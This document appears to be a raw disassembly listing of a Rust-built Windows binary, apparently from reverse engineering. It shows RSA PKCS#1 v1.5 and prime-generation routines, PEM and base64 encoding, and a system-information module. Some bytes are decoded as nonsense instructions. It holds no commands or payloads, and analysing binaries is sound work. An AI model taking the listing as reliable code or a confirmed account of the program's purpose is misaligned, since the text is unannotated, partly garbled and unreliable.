shl r8, 0x38
shl rdx, 0x20
or rdx, r8
or rdx, rax
jmp 0x14000daee
lea rax, str.library_alloc_src_str.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, qword [rbp + 0x86a0]
mov r8, r12
mov r9, rdx
call fcn.140057150
jmp case.0x14000675c.2
mov rdx, qword [rbp - 0x30]
call fcn.140056ac0
lea rcx, str.assertion_failed:_index___len
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_smallvec_1.13.2_srclib.rs
push 0x1e
jmp 0x14000be9c
lea rax, [0x140059d40]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly
lea r9, [0x140059e08]
push 0x37
pop rdx
lea r8, [rbp + 0x8280]
call fcn.140056f70
lea rcx, [rbp + 0x84f0]
call fcn.14000376a
call fcn.140046fd0
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.140057000
call fcn.14001a700
push 1
pop rcx
mov rdx, r12
call fcn.140056ac0
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_srcprime.rs
call fcn.140057000
movzx eax, byte [rbp + 0x85aa]
shl eax, 0x10
movzx ecx, word [rbp + 0x85a8]
or ecx, eax
movdqu xmm0, xmmword [rbp + 0x85ac]
movdqu xmm1, xmmword [rbp + 0x85bc]
movdqu xmm2, xmmword [rbp + 0x85c8]
movdqu xmmword [rbp + 0x848c], xmm0
movdqu xmmword [rbp + 0x849c], xmm1
movdqu xmmword [rbp + 0x84a8], xmm2
movzx eax, byte [rbp + 0x85ab]
shl rax, 0x38
shl rcx, 0x20
or rcx, rax
or rcx, rdx
mov rax, qword [rbp + 0x8658]
mov dword [rbp + 0x8480], eax
mov qword [rbp + 0x8484], rcx
jmp 0x14000d651
call fcn.140019570
mov rsi, rax
push 8
pop rcx
mov rdx, rcx
call fcn.1400184ca
mov r14, rax
mov qword [rax], rsi
mov rcx, qword [rbp + 0x85a0]
mov rdx, rbx
call fcn.140018e0d
mov rcx, qword [rbp + 0x84f0]
mov rdx, rdi
call fcn.140037dd5
lea rcx, [rbp + 0x8390]
call fcn.140003946
mov rcx, qword [rbp + 0x8480]
mov rdx, qword [rbp + 0x8488]
call fcn.140037dd5
mov rdi, qword [rbp + 0x83e8]
jmp 0x14000d6a5
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_srcprime.rs
call fcn.140057000
mov eax, dword [rbp + 0x8524]
mov dword [rbp + 0x84b4], eax
movdqu xmm0, xmmword [rbp + 0x84f4]
movdqu xmm1, xmmword [rbp + 0x8504]
movdqu xmm2, xmmword [rbp + 0x8514]
movdqu xmmword [rbp + 0x84a4], xmm2
movdqu xmmword [rbp + 0x8494], xmm1
movdqu xmmword [rbp + 0x8484], xmm0
mov rdx, qword [rbp + 0x8484]
mov r12d, dword [rbp + 0x848c]
mov rcx, qword [rbp + 0x8490]
mov r15, qword [rbp + 0x8498]
movups xmm0, xmmword [rbp + 0x84a0]
movaps xmmword [rbp + 0x8550], xmm0
mov rax, qword [rbp + 0x84b0]
jmp 0x14000dae7
call fcn.140046fd0
call fcn.140019570
mov rsi, rax
push 8
pop rcx
mov rdx, rcx
call fcn.1400184ca
mov r14, rax
mov qword [rax], rsi
mov rcx, qword [rbp + 0x83e0]
mov rdx, rdi
call fcn.140018e0d
lea r8, [rbp - 0x40]
mov qword [r8], r14
lea rax, fcn.1400184fc
mov qword [r8 + 8], rax
lea rax, str.srcmachine_sys_info.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14006d4f5]
lea r9, [0x140059e88]
jmp 0x14000d8c5
lea rcx, [0x14005bbb0]
call fcn.140057000
lea r8, [rbp - 0x40]
mov qword [r8], rsi
mov byte [r8 + 8], al
lea rax, [0x14005bb98]
mov qword [rsp + 0x20], rax
lea rcx, [0x14006d4f5]
lea r9, [0x14005b168]
jmp 0x14000d8c5
lea rcx, [0x14005bbc8]
call fcn.140057000
lea rcx, str.srcmachine_sys_info.rs
call fcn.140057000
movdqu xmm0, xmmword [rbp + 0x6070]
movdqu xmm1, xmmword [rbp + 0x6080]
lea r8, [rbp - 0x40]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcmachine_sys_info.rs
jmp 0x14000d8b2
lea rcx, str.srcmachine_sys_info.rs
call fcn.140057000
movdqu xmm0, xmmword [rbp + 0x6070]
movdqu xmm1, xmmword [rbp + 0x6080]
lea r8, [rbp - 0x40]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcmachine_sys_info.rs
jmp 0x14000d8b2
movdqu xmm0, xmmword [rbp + 0x6070]
movdqu xmm1, xmmword [rbp + 0x6080]
lea r8, [rbp - 0x40]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcmachine_sys_info.rs
jmp 0x14000d8b2
lea rcx, str.srcmachine_sys_info.rs
call fcn.140057000
movdqu xmm0, xmmword [rbp + 0x6070]
movdqu xmm1, xmmword [rbp + 0x6080]
lea r8, [rbp - 0x40]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcmachine_sys_info.rs
jmp 0x14000d8b2
lea rcx, [0x14005adf0]
call fcn.140057260
movdqu xmm0, xmmword [rbp + 0x6070]
movdqu xmm1, xmmword [rbp + 0x6080]
lea r8, [rbp - 0x40]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcmachine_sys_info.rs
jmp 0x14000d8b2
movdqu xmm0, xmmword [rbp + 0x6070]
movdqu xmm1, xmmword [rbp + 0x6080]
lea r8, [rbp - 0x40]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcmachine_sys_info.rs
jmp 0x14000d8b2
lea rax, str.prime_size_must_be_at_least_2_bit
lea rcx, [rbp - 0x40]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x14006d7f0]
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.140056ba0
movdqu xmm0, xmmword [rbp + 0x6070]
movdqu xmm1, xmmword [rbp + 0x6080]
lea r8, [rbp - 0x40]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcmachine_sys_info.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14006d4f5]
lea r9, fcn.140003560
push 0x2b
pop rdx
call fcn.140056f70
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
lea eax, [rsi - 0x2f76]
cmp eax, 0x2a
ja case.default.0x14000d8f2
lea rcx, [0x14006e590]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdx, [0x14005b4df]
push 0x25
pop r8
xor ecx, ecx
jmp 0x14001216b
mov edx, dword [rbp + 0x40b0]
movzx eax, byte [rbp + 0x40ba]
shl eax, 0x10
movzx r8d, word [rbp + 0x40b8]
or r8d, eax
lea rsi, [rbp + 0x85a0]
lea r9, [rbp + 0x8330]
mov rcx, rsi
call fcn.140033e69
mov eax, dword [rsi]
mov qword [rbp + 0x8658], rax
cmp eax, 2
jne 0x14000da6d
mov r8, qword [rbp + 0x40a0]
mov r9, qword [rbp + 0x40a8]
lea rsi, [rbp + 0x84f0]
lea rdx, [rbp + 0x8330]
mov rcx, rsi
call fcn.140029075
mov eax, dword [rsi]
mov qword [rbp + 0x8658], rax
cmp eax, 2
je 0x14000d273
jmp 0x14000dab6
lea rcx, str.srcmachine_sys_info.rs
call fcn.140057260
lea r8, [rbp - 0x40]
mov qword [r8], rdi
lea rax, str.srcmachine_sys_info.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14006d4f5]
lea r9, fcn.1400184fc
jmp 0x14000d8c5
mov rcx, rax
call fcn.140056ac0
movzx eax, byte [rbp + 0x85aa]
shl eax, 0x10
movzx ecx, word [rbp + 0x85a8]
or ecx, eax
movdqu xmm0, xmmword [rbp + 0x85ac]
movdqu xmm1, xmmword [rbp + 0x85bc]
movdqu xmm2, xmmword [rbp + 0x85c8]
movdqu xmmword [rbp + 0x848c], xmm0
movdqu xmmword [rbp + 0x849c], xmm1
movdqu xmmword [rbp + 0x84a8], xmm2
movzx eax, byte [rbp + 0x85ab]
shl rax, 0x38
shl rcx, 0x20
or rcx, rax
or rcx, rdx
mov rax, qword [rbp + 0x8658]
mov dword [rbp + 0x8480], eax
mov qword [rbp + 0x8484], rcx
jmp 0x140011d4c
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, [0x14005bad0]
jmp 0x14000be88
invalid
dec dword [rbp - 0x2ee07a]
inc dword [rbx - 0x78f0d308]
push rax
add byte [r8], al
lea eax, [rsi - 0x2ee1]
cmp eax, 0x2c
ja case.default.0x14000da5f
lea rcx, [0x14006e4cc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdx, [0x14005b748]
jmp 0x14001211e
mov eax, dword [rbp + 0x85d4]
mov dword [rbp + 0x8524], eax
movdqu xmm0, xmmword [rbp + 0x85a4]
movdqu xmm1, xmmword [rbp + 0x85b4]
movdqu xmm2, xmmword [rbp + 0x85c4]
movdqu xmmword [rbp + 0x8514], xmm2
movdqu xmmword [rbp + 0x8504], xmm1
movdqu xmmword [rbp + 0x84f4], xmm0
mov rax, qword [rbp + 0x8658]
mov dword [rbp + 0x84f0], eax
mov rdx, qword [rbp + 0x84f4]
mov r12d, dword [rbp + 0x84fc]
mov rcx, qword [rbp + 0x8500]
mov r15, qword [rbp + 0x8508]
movups xmm0, xmmword [rbp + 0x8510]
movaps xmmword [rbp + 0x8550], xmm0
mov rax, qword [rbp + 0x8520]
mov qword [rbp + 0x8560], rax
mov rax, qword [rbp + 0x8560]
mov qword [rbp + 0x8290], rax
movaps xmm0, xmmword [rbp + 0x8550]
movaps xmmword [rbp + 0x8280], xmm0
mov rax, rdx
shr rax, 0x20
shl r12, 0x20
or r12, rax
mov rax, qword [rbp + 0x8290]
mov qword [rbp + 0x8450], rax
movdqa xmm0, xmmword [rbp + 0x8280]
movdqa xmmword [rbp + 0x8440], xmm0
mov rax, rcx
movabs r8, 0xffffffff00000000
and rax, r8
mov qword [rbp + 0x8680], rdx
mov rdi, qword [rbp + 0x8648]
mov ecx, ecx
or rcx, rax
mov qword [rbp + 0x86a0], rcx
movdqa xmm0, xmmword [rbp + 0x8440]
movdqu xmmword [rbp + 0x8400], xmm0
mov rax, qword [rbp + 0x8450]
mov qword [rbp + 0x8410], rax
mov rcx, qword [rbp + 0x8240]
mov rdx, r14
call fcn.140037dd5
mov rbx, qword [rbp + 0x8400]
mov esi, dword [rbp + 0x8408]
mov r9b, byte [rbp + 0x840c]
mov r8d, dword [rbp + 0x840d]
mov eax, dword [rbp + 0x8411]
mov dword [rbp + 0x8550], eax
mov eax, dword [rbp + 0x8414]
mov dword [rbp + 0x8553], eax
cmp r12b, 9
mov r14, qword [rbp + 0x8660]
jne 0x14000dc7b
mov rax, r15
shr rax, 0x28
mov rdx, r12
shr rdx, 8
mov rcx, r12
shr rcx, 0x38
mov byte [rbp + 0x85a6], cl
shr r12, 0x28
mov word [rbp + 0x85a4], r12w
mov qword [rbp + 0x8680], rdx
mov dword [rbp + 0x85a0], edx
mov rcx, qword [rbp + 0x86a0]
mov qword [rbp + 0x85a7], rcx
mov dword [rbp + 0x85af], r15d
shr r15, 0x20
mov byte [rbp + 0x85b3], r15b
mov word [rbp + 0x84f0], ax
shr eax, 0x10
mov byte [rbp + 0x84f2], al
mov qword [rbp + 0x84f3], rbx
mov dword [rbp + 0x84fb], esi
mov byte [rbp + 0x84ff], r9b
mov r12, qword [rbp + 0x85a4]
mov rax, qword [rbp + 0x85ac]
mov qword [rbp + 0x86a0], rax
mov r15, qword [rbp + 0x84f0]
push 5
pop rax
mov qword [rbp + 0x8658], rax
mov rbx, qword [rbp + 0x84f8]
mov esi, r8d
jmp 0x14000dc93
mov eax, dword [rbp + 0x8550]
mov ecx, dword [rbp + 0x8553]
mov dword [rbp + 0x8483], ecx
mov dword [rbp + 0x8480], eax
mov byte [rbp + 0x8650], r9b
mov dword [rbp + 0x8688], r8d
mov eax, dword [rbp + 0x8480]
mov ecx, dword [rbp + 0x8483]
mov dword [rbp + 0x83db], ecx
mov dword [rbp + 0x83d8], eax
mov r13, r12
shr r13, 0x18
mov rcx, qword [rbp + 0x8690]
mov rdx, rdi
call fcn.140037dd5
mov rcx, qword [rbp + 0x8138]
mov rdx, qword [rbp + 0x8698]
call fcn.140037dd5
mov rcx, qword [rbp + 0x80c0]
mov rdx, r14
call fcn.140037dd5
cmp dword [rbp + 0x8658], 6
mov qword [rbp + 0x8678], r15
jne 0x140014179
shl r13, 0x18
and r12d, 0xffffff
mov rax, r15
shr rax, 0x3e
je 0x14000dd1d
xor ecx, ecx
jmp 0x14000dd3e
lea rax, [r15*4]
push 3
pop rcx
xor edx, edx
div rcx
add rax, 3
movabs rcx, 0x7ffffffffffffffc
and rcx, rax
or r13, r12
xor r9d, r9d
mov rax, rcx
sub rax, 1
cmovae r9, rax
shr r9, 6
add r9, rcx
lea rsi, [rbp + 0x4050]
push 0xa
pop rdx
mov rcx, rsi
mov r8b, 1
call fcn.140032d9f
movzx eax, byte [rsi]
cmp rax, 0xa
mov qword [rbp + 0x8648], r13
jne 0x1400130d2
mov rbx, qword [rbp + 0x4058]
test rbx, rbx
je 0x14000ddb7
js 0x14001348c
push 1
pop rsi
mov rcx, rsi
mov rdx, rbx
mov r8b, 1
call fcn.140031fff
mov qword [rbp + 0x8660], rax
test rax, rax
je 0x14001348e
mov rcx, rbx
jmp 0x14000ddc3
push 1
pop rax
mov qword [rbp + 0x8660], rax
xor ecx, ecx
xor eax, eax
lea r10, [0x1400598c4]
xor r9d, r9d
cmp rax, 0xa
je 0x14000de20
mov dl, byte [rax + r10]
lea r8d, [rdx - 0x21]
cmp r8b, 0xc
jb 0x14000ddfd
lea r8d, [rdx - 0x2e]
cmp r8b, 0x51
jb 0x14000ddfd
movzx r8d, dl
cmp r8d, 0x20
je 0x14000ddfd
cmp r8d, 9
jne 0x14000de18
cmp dl, 9
sete r8b
cmp dl, 0x20
sete dl
or dl, r8b
inc rax
test r9b, dl
mov r9d, edx
je 0x14000ddcf
mov sil, 4
jmp 0x14000e0f2
mov qword [rbp + 0x8698], rcx
lea rax, str._____BEGIN______END_registery_srcindex.crates.io_6f17d22bba15001fpem_rfc7468_0.7.0_srcencoder.rs
mov qword [rbp + 0x4050], rax
mov qword [rbp + 0x4058], 0xb
mov qword [rbp + 0x4060], r10
mov qword [rbp + 0x4068], 0xa
lea rax, [0x140066b00]
mov qword [rbp + 0x4070], rax
mov qword [rbp + 0x4078], 5
lea rax, [0x14006866f]
mov qword [rbp + 0x4080], rax
mov qword [rbp + 0x4088], 1
push 8
pop rdi
lea r12, [rbp + 0x84f0]
lea r15, [0x140066b20]
mov qword [rbp + 0x8690], rbx
mov rsi, rbx
mov rbx, qword [rbp + 0x8660]
cmp rdi, 0x48
je 0x14000df14
mov r14, qword [rbp + rdi + 0x4050]
cmp rsi, r14
jb 0x14000e0e4
mov r13, qword [rbp + rdi + 0x4048]
lea rax, [0x140066b08]
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, rbx
mov r8, rsi
mov r9, r14
call fcn.140032cd7
mov rcx, qword [rbp + 0x84f0]
mov rdx, qword [rbp + 0x84f8]
mov rbx, qword [rbp + 0x8500]
mov rsi, qword [rbp + 0x8508]
mov qword [rsp + 0x20], r15
mov r8, r13
mov r9, r14
call fcn.14001b7c1
add rdi, 0x10
jmp 0x14000dea6
test rsi, rsi
sete al
je 0x14000e0e9
mov byte [rbp + 0x85a0], al
xor eax, eax
and word [rbp + 0x85a5], 0
mov byte [rbp + 0x85a7], al
and dword [rbp + 0x85a1], 0
and qword [rbp + 0x85a8], 0
mov qword [rbp + 0x85b0], rbx
mov qword [rbp + 0x85b8], rsi
and qword [rbp + 0x85c0], 0
mov byte [rbp + 0x85c8], 0x40
and word [rbp + 0x85cd], 0
and dword [rbp + 0x85c9], 0
mov byte [rbp + 0x85cf], al
mov qword [rbp + 0x85d0], 0x40
mov cl, 1
mov byte [rbp + 0x85d8], cl
lea rdx, [0x1400598c4]
mov qword [rbp + 0x85e0], rdx
mov qword [rbp + 0x85e8], 0xa
mov byte [rbp + 0x85f0], cl
mov rcx, qword [rbp + 0x86a0]
mov qword [rbp + 0x84f0], rcx
mov rcx, qword [rbp + 0x8678]
mov qword [rbp + 0x84f8], rcx
cmp qword [rbp + 0x85a0], rax
je 0x14000dfe9
lea rcx, [rbp + 0x85a0]
lea rdx, [rbp + 0x84f0]
call fcn.140032bc6
cmp al, 2
jne 0x14000e0da
push 3
pop r15
lea r12, [rbp + 0x85a0]
lea rdi, [rbp + 0x84f0]
lea r13, str.registery_srcindex.crates.io_6f17d22bba15001f_base64ct_1.6.0_srcencoder.rs
lea rbx, [rbp + 0x4050]
mov rsi, qword [rbp + 0x84f8]
test rsi, rsi
je 0x14000f0c6
mov sil, 5
jmp 0x14000e0eb
xor esi, esi
mov rcx, qword [rbp + 0x8698]
movzx r14d, al
xor edi, edi
mov rdx, qword [rbp + 0x8660]
call fcn.14004c74f
xor eax, eax
shl r14, 8
movzx esi, sil
test al, al
je 0x140013111
mov rcx, qword [rbp + 0x8648]
mov rdx, qword [rbp + 0x86a0]
call fcn.140037dd5
mov rax, r14
and rax, 0xffffffffff000000
and r14d, 0xffff00
or r14, rsi
or r14, rax
mov qword [rbp + 0x82f0], r14
mov qword [rbp + 0x82f8], rdi
mov qword [rbp + 0x8300], rbx
lea rsi, [rbp + 0x84f0]
mov rcx, rsi
call fcn.1400065a9
lea rax, [0x1400598ce]
mov qword [rbp + 0x4050], rax
lea rax, [0x140021b40]
mov qword [rbp + 0x4058], rax
mov qword [rbp + 0x4060], rsi
lea r8, [0x1400055e9]
mov qword [rbp + 0x4068], r8
lea rax, [0x14005a8b8]
lea rdx, [rbp + 0x85a0]
mov qword [rdx], rax
push 3
pop rax
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [rbp + 0x82f0]
mov qword [rbp + 0x4070], rcx
mov qword [rbp + 0x4078], r8
lea rcx, [rbp + 0x4050]
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
lea rbx, [rbp + 0x8480]
mov rcx, rbx
call fcn.140004d14
mov rcx, qword [rbp + 0x84f0]
mov rdx, qword [rbp + 0x84f8]
call fcn.140037dd5
mov rsi, qword [rbx]
mov rdi, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
mov rcx, qword [rbp + 0x1d8]
mov rdx, rdi
call fcn.140002ddb
mov qword [rbp + 0x4050], rax
test rax, rax
je 0x14000e229
mov rcx, qword [rbp + 0x8230]
mov rdx, qword [rbp + 0x81e0]
call fcn.140037dd5
mov r15, qword [rbp + 0x84e8]
cmp r15d, 2
je 0x1400127a2
mov rcx, qword [rbp + 0x8640]
shl rcx, 0x18
mov eax, 0xffffff
and r14d, eax
or r14, rcx
shl rsi, 0x18
and edi, eax
or rdi, rsi
mov rcx, qword [rbp + 0x8650]
shl rcx, 0x18
and ebx, eax
or rbx, rcx
movzx ecx, r12b
shl ecx, 0x18
mov rsi, qword [rbp + 0x8670]
and esi, eax
or esi, ecx
movaps xmm0, xmmword [rbp + 0x85a0]
movaps xmm1, xmmword [rbp + 0x85b0]
movaps xmmword [rbp + 0x4060], xmm1
movaps xmmword [rbp + 0x4050], xmm0
lea rcx, [rbp + 0x178]
call fcn.140003985
mov qword [rbp + 0x178], r15
mov rax, qword [rbp + 0x8678]
mov dword [rbp + 0x180], eax
mov dword [rbp + 0x184], r13d
mov qword [rbp + 0x188], r14
mov qword [rbp + 0x190], rdi
mov qword [rbp + 0x198], rbx
mov dword [rbp + 0x1a0], esi
mov rax, qword [rbp + 0x86a0]
mov dword [rbp + 0x1a4], eax
mov rax, qword [rbp + 0x8698]
mov dword [rbp + 0x1a8], eax
mov rax, qword [rbp + 0x8690]
mov dword [rbp + 0x1ac], eax
mov rax, qword [rbp + 0x8688]
mov qword [rbp + 0x1b0], rax
movdqa xmm0, xmmword [rbp + 0x4050]
movdqa xmm1, xmmword [rbp + 0x4060]
movdqu xmmword [rbp + 0x1b8], xmm0
movdqu xmmword [rbp + 0x1c8], xmm1
mov r13, qword [rbp + 0x8590]
lea rcx, [rbp + 0x4050]
lea rdx, [rbp + 0x6070]
mov r8d, 0x218
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x8680]
mov rdx, r13
call fcn.140003779
mov rcx, qword [rbp + 0x8660]
mov rdx, qword [rbp + 0x8648]
call fcn.140037dd5
mov rcx, qword [rbp + 0x82f0]
mov rdx, qword [rbp + 0x82f8]
call fcn.140037dd5
lea rsi, [rbp + 0x82b0]
mov rcx, rsi
call fcn.1400065a9
mov rax, qword [rbp + 0x8668]
movabs r15, 0x8000000000000000
cmp qword [rax + 0x10], r15
je 0x1400131cd
mov rax, qword [rbp + 0x8668]
mov rdx, qword [rax + 0x18]
mov rax, qword [rbp + 0x8668]
mov r8, qword [rax + 0x20]
lea rcx, [rbp + 0x82f0]
call fcn.14001b0c0
mov rax, qword [rbp + 0x8668]
cmp qword [rax + 0x28], r15
je 0x1400131d9
mov rax, qword [rbp + 0x8668]
mov rdx, qword [rax + 0x30]
mov rax, qword [rbp + 0x8668]
mov r8, qword [rax + 0x38]
lea rcx, [rbp + 0x8390]
call fcn.14001b0c0
mov rax, qword [rbp + 0x8668]
cmp qword [rax + 0x40], r15
je 0x1400131e5
mov rax, qword [rbp + 0x8668]
mov rdx, qword [rax + 0x48]
mov rax, qword [rbp + 0x8668]
mov r8, qword [rax + 0x50]
lea rdi, [rbp + 0x8550]
mov rcx, rdi
call fcn.14001b0c0
mov rax, qword [rbp + 0x8668]
cmp qword [rax + 0x58], r15
je 0x1400131f1
mov rax, qword [rbp + 0x8668]
mov rdx, qword [rax + 0x60]
mov rax, qword [rbp + 0x8668]
mov r8, qword [rax + 0x68]
lea rcx, [rbp + 0x83e0]
call fcn.14001b0c0
mov rax, qword [rbp + 0x8668]
cmp qword [rax + 0x70], r15
je 0x1400131fd
mov rax, qword [rbp + 0x8668]
mov rdx, qword [rax + 0x78]
mov rax, qword [rbp + 0x8668]
mov r8, qword [rax + 0x80]
lea rbx, [rbp + 0x8480]
mov rcx, rbx
call fcn.14001b0c0
mov rax, qword [rbp + 0x8668]
cmp qword [rax + 0x88], r15
je 0x140013209
mov rax, qword [rbp + 0x8668]
mov rdx, qword [rax + 0x90]
mov rax, qword [rbp + 0x8668]
mov r8, qword [rax + 0x98]
lea r14, [rbp + 0x84f0]
mov rcx, r14
call fcn.14001b0c0
mov rax, qword [rbp + 0x8668]
cmp qword [rax + 0xa0], r15
je 0x140013215
lea rcx, [rax + 0x10]
mov qword [rbp + 0x8698], rcx
mov r12, rax
mov rdx, qword [rax + 0xa8]
mov r8, qword [rax + 0xb0]
lea r15, [rbp + 0x85a0]
mov rcx, r15
call fcn.14001b0c0
xor r8d, r8d
cmp byte [r12 + 0xc0], 0
sete r8b
lea rax, [0x140067b1c]
lea rdx, [0x140067b21]
cmove rdx, rax
or r8, 4
lea r12, [rbp + 0x6118]
mov rcx, r12
call fcn.140004348
mov rax, qword [rbp + 0x8300]
mov qword [r12 - 0x98], rax
movups xmm0, xmmword [rbp + 0x82f0]
movaps xmmword [r12 - 0xa8], xmm0
movups xmm0, xmmword [rbp + 0x8390]
movups xmmword [r12 - 0x90], xmm0
mov rax, qword [rbp + 0x83a0]
mov qword [r12 - 0x80], rax
movups xmm0, xmmword [rbp + 0x8550]
movaps xmmword [r12 - 0x78], xmm0
mov rax, qword [rbp + 0x8560]
mov qword [r12 - 0x68], rax
movups xmm0, xmmword [rbp + 0x83e0]
movups xmmword [r12 - 0x60], xmm0
mov rax, qword [rbp + 0x83f0]
mov qword [r12 - 0x50], rax
mov rax, qword [rbp + 0x8490]
mov qword [r12 - 0x38], rax
movups xmm0, xmmword [rbp + 0x8480]
movaps xmmword [r12 - 0x48], xmm0
mov rax, qword [rbp + 0x8500]
mov qword [r12 - 0x20], rax
movups xmm0, xmmword [rbp + 0x84f0]
movups xmmword [r12 - 0x30], xmm0
movdqu xmm0, xmmword [r15]
movdqa xmmword [r12 - 0x18], xmm0
mov rax, qword [r15 + 0x10]
mov qword [r12 - 8], rax
mov r12, qword [rbp + 0x82b8]
mov rax, qword [rbp + 0x82c0]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x8280]
lea r15, [rbp + 0x6070]
mov rdx, r15
push 8
pop r13
mov r8, r13
mov r9, r12
call fcn.140005006
mov rcx, qword [rbp + 0x82b0]
mov rdx, r12
call fcn.140037dd5
cmp r13, 0xc8
je 0x14000fced
mov rcx, qword [rbp + r13 + 0x6068]
mov rdx, qword [rbp + r13 + 0x6070]
call fcn.140037dd5
add r13, 0x18
jmp 0x14000fcc9
movdqu xmm0, xmmword [rbp + 0x8288]
movdqu xmmword [rbp + 0x82b0], xmm0
mov qword [rbp + 0x8550], 0xa
mov rcx, rbx
call fcn.1400065a9
mov rcx, r14
call fcn.140006560
lea r12, [rbp + 0x6070]
mov qword [r12], rdi
lea rax, [fcn.14001bb60]
mov qword [r12 + 8], rax
mov qword [r12 + 0x10], rbx
lea rcx, [0x1400055e9]
mov qword [r12 + 0x18], rcx
mov qword [r12 + 0x20], rsi
lea rax, [fcn.14004c63e]
mov qword [r12 + 0x28], rax
lea rax, [0x14005a948]
lea rdx, [rbp + 0x85a0]
mov qword [rdx], rax
push 4
pop rax
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
mov qword [r12 + 0x30], r14
mov qword [r12 + 0x38], rcx
mov qword [rdx + 0x10], r15
mov qword [rdx + 0x18], rax
lea rsi, [rbp + 0x83e0]
mov rcx, rsi
call fcn.140004d14
mov rcx, qword [rbp + 0x84f0]
mov rdx, qword [rbp + 0x84f8]
call fcn.140037dd5
mov rcx, qword [rbp + 0x8480]
mov rdx, qword [rbp + 0x8488]
call fcn.140037dd5
mov r15, qword [rsi]
mov r13, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rbp + 0x82f0]
mov rdx, r13
call fcn.140004348
mov rcx, r12
lea rdx, [rbp + 0x178]
call fcn.140005741
cmp dword [r12], 2
je 0x140013221
push 0xc
pop rbx
lea r14, [rbp + 0x85a0]
lea rsi, [rbp + 0x6070]
mov rcx, rbx
mov rdi, r14
rep movsq qword [rdi], qword [rsi]
call fcn.14003453a
mov rdi, rax
mov rax, qword [rbp + 0x82f8]
mov qword [rbp + 0x8660], rax
mov rax, qword [rbp + 0x8300]
mov qword [rbp + 0x86a0], rax
mov rcx, r14
call fcn.140002b70
cmp rax, 0x1000
ja 0x14001322d
lea r12, [rbp + 0x85d0]
mov rcx, r12
call fcn.140005fdd
mov rsi, rdx
push 0xd
pop r14
test rax, rax
je 0x140013236
lea rdx, [rbp + 0x85a0]
mov rcx, r12
call fcn.140003378
push 8
pop rcx
test al, al
jne 0x14001295b
mov rax, qword [rbp + 0x85c8]
cmp rax, 4
jbe 0x14000fe91
mov rax, qword [rbp + 0x85a8]
mov rdx, qword [rbp + 0x85b0]
jmp 0x14000fe98
lea rdx, [rbp + 0x85a8]
test rax, rax
je 0x14001295b
test byte [rdx], 1
je 0x14001295b
mov rax, qword [rbp + 0x85f8]
cmp rax, 4
jbe 0x14000fec7
mov rax, qword [rbp + 0x85d8]
mov rcx, qword [rbp + 0x85e0]
jmp 0x14000fece
lea rcx, [rbp + 0x85d8]
test rax, rax
je 0x140012ac5
test byte [rcx], 1
je 0x140012ac5
cmp rsi, 2
jb 0x140013233
mov qword [rbp + 0x8648], r13
shr rsi, 0x21
jne 0x140013231
mov qword [rbp + 0x8680], r15
lea rcx, [rbp + 0x85a0]
call fcn.14003840d
mov r13, rax
add rax, 0xfffffffffffffff5
mov r15, qword [rbp + 0x86a0]
cmp rax, r15
jb 0x140013267
lea rsi, [rbp + 0x8550]
mov rcx, rsi
mov rdx, r13
call fcn.140050b71
mov r14, qword [rsi + 8]
mov r12, qword [rsi + 0x10]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithmspkcs1v15.rs
push 1
pop rbx
mov rcx, r14
mov rdx, r12
mov r8, rbx
call fcn.140005aba
mov byte [rax], 2
sub r13, r15
lea r15, [r13 - 1]
lea rax, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithmspkcs1v15.rs
mov qword [rsp + 0x20], rax
push 2
pop rcx
mov rdx, r15
mov r8, r14
mov r9, r12
call fcn.14000216f
mov r14, rax
mov r12, rdx
mov rcx, rdi
mov rdx, rax
mov r8, r12
call fcn.1400345be
mov rsi, r14
add rsi, r12
cmp r14, rsi
je 0x14000ffc4
mov r12, r14
inc r14
cmp byte [r12], 0
jne 0x14000ff98
xor eax, eax
test al, al
jne 0x14000ff98
mov rcx, rdi
mov rdx, r12
mov r8, rbx
call fcn.1400345be
mov al, byte [r12]
jmp 0x14000ffac
mov r14, qword [rbp + 0x8558]
mov r12, qword [rbp + 0x8560]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithmspkcs1v15.rs
mov rcx, r14
mov rdx, r12
mov r8, r15
call fcn.140005aba
mov byte [rax], 0
